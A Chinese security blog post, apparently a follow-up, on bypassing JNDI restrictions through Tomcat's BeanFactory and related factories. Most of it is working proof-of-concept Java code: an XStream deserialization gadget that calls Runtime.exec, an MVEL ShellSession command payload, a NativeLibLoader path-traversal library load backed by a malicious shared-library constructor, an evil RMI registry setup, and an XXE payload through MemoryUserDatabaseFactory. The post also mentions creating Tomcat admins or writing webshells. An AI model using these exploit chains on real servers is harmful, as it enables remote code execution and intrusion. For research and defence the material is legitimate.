承接之前的那篇,改正了一些地方
利用本地Class作为Reference Factory
com.thoughtworks.xstream.XStream
new com.thoughtworks.xstream.XStream().fromXML(String)
同样符合条件
利用条件
com.thoughtworks.xstream 依赖
pom.xml
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.19</version>
</dependency>
虽然官方(20条消息) XStream升级1.4.18问题_蝎子莱布莱的博客-CSDN博客_xstream版本好像说修了,但是我发现全版本都能打
private static ResourceRef tomcat_xstream(){
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>calc</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
return ref;
}
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1098");
Registry registry = LocateRegistry.createRegistry(1098);
// org.apache.naming.ResourceRef ref = new org.apache.naming.ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// ref.add(new StringRefAddr("forceString", "x=evaluate"));
// String script = String.format("'%s'.execute()", "calc");
// ref.add(new StringRefAddr("x",script));
//MLet
//ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatMLet());
//GroovyClassLoader
//ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatGroovyClassLoader());
//registry.bind("tomcatGroovyClassLoader", referenceWrapper);
//tomcat_xstream
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcat_xstream());
registry.bind("tomcat_xstream", referenceWrapper);
}
org.mvel2.sh.ShellSession#exec()
需要mvel2依赖(org.mvel)
pom.xml
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>
private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('calc');"));
return ref;
}
com.sun.glass.utils.NativeLibLoader
com.sun.glass.utils.NativeLibLoader
是JDK的类,它有一个loadLibrary(String)
方法。它会去加载指定路径的动态链接库文件,所以只要能够通过WEB功能或者写文件gadget上传一个动态链接库就可以用com.sun.glass.utils.NativeLibLoader
来加载并执行命令。
利用条件:
能够任意文件上传动态链接库
JDK内置的动态链接库加载工具类,使用其loadLibrary方法,执行链如下
NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);
dll代码如下
test.cpp
#include <stdio.h>
void __attribute__ ((constructor)) my_init_so()
{
FILE *fd = popen("calc", "r");
}
使用gcc编译一个dll文件
gcc -m64 .\test.cpp -fPIC --shared -o libcmd.dll
private static ResourceRef tomcat_loadLibrary(){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../../../../../tmp/libcmd"));
return ref;
}
复现不出,此处存疑
可以参考:java高版本下各种JNDI Bypass方法复现 - bitterz - 博客园 (cnblogs.com)
org.apache.catalina.users.MemoryUserDatabaseFactory导致的xxe&rce
xxe
浅蓝师傅通过搜索所有实现javax.naming.spi.ObjectFactory
接口的类,然后挨个查看代码,其中发现了一个Tomcat的工厂类org.apache.catalina.users.MemoryUserDatabaseFactory
可能会存在漏洞
这里会先实例化一个MemoryUserDatabase
对象然后从 Reference 中取出 pathname、readonly 这两个最主要的参数并调用 setter 方法赋值。
赋值完成会先调用open()
方法,如果readonly=false那就会调用save()
方法。
首先来看open()
方法
public void open() throws Exception {
this.writeLock.lock();
try {
this.users.clear();
this.groups.clear();
this.roles.clear();
String pathName = this.getPathname();
// PathName变成后面的uri
URI uri = ConfigFileLoader.getURI(pathName);
URLConnection uConn = null;
try {
URL url = uri.toURL();
uConn = url.openConnection();
//向uri发起请求
InputStream is = uConn.getInputStream();
this.lastModified = uConn.getLastModified();
Digester digester = new Digester();
//这个类可以xml解析
try {
digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
} catch (Exception var28) {
log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), var28);
}
digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
//把xml的解析结果分别给group,role,user赋值
digester.parse(is);
//响应内容
} catch (IOException var29) {
log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[]{pathName}));
} catch (Exception var30) {
this.users.clear();
this.groups.clear();
this.roles.clear();
throw var30;
} finally {
if (uConn != null) {
try {
uConn.getInputStream().close();
} catch (IOException var27) {
log.warn(sm.getString("memoryUserDatabase.fileClose", new Object[]{this.pathname}), var27);
}
}
}
} finally {
this.writeLock.unlock();
}
}
如上,open方法会根据pathname去发起本地或者远程文件访问,并使用 commons-digester 解析返回的 XML 内容,所以这里可以 XXE。
开启webserver,并放置一个恶意xml文件如下
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>
当XXE成功时,会向http://127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri
poc
private static ResourceRef XXEexp(){
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/exp.xml"));
return ref;
}
随后我们看到save方法
rce
创建tomcat管理员和写webshell两种。由于时间关系没有复现了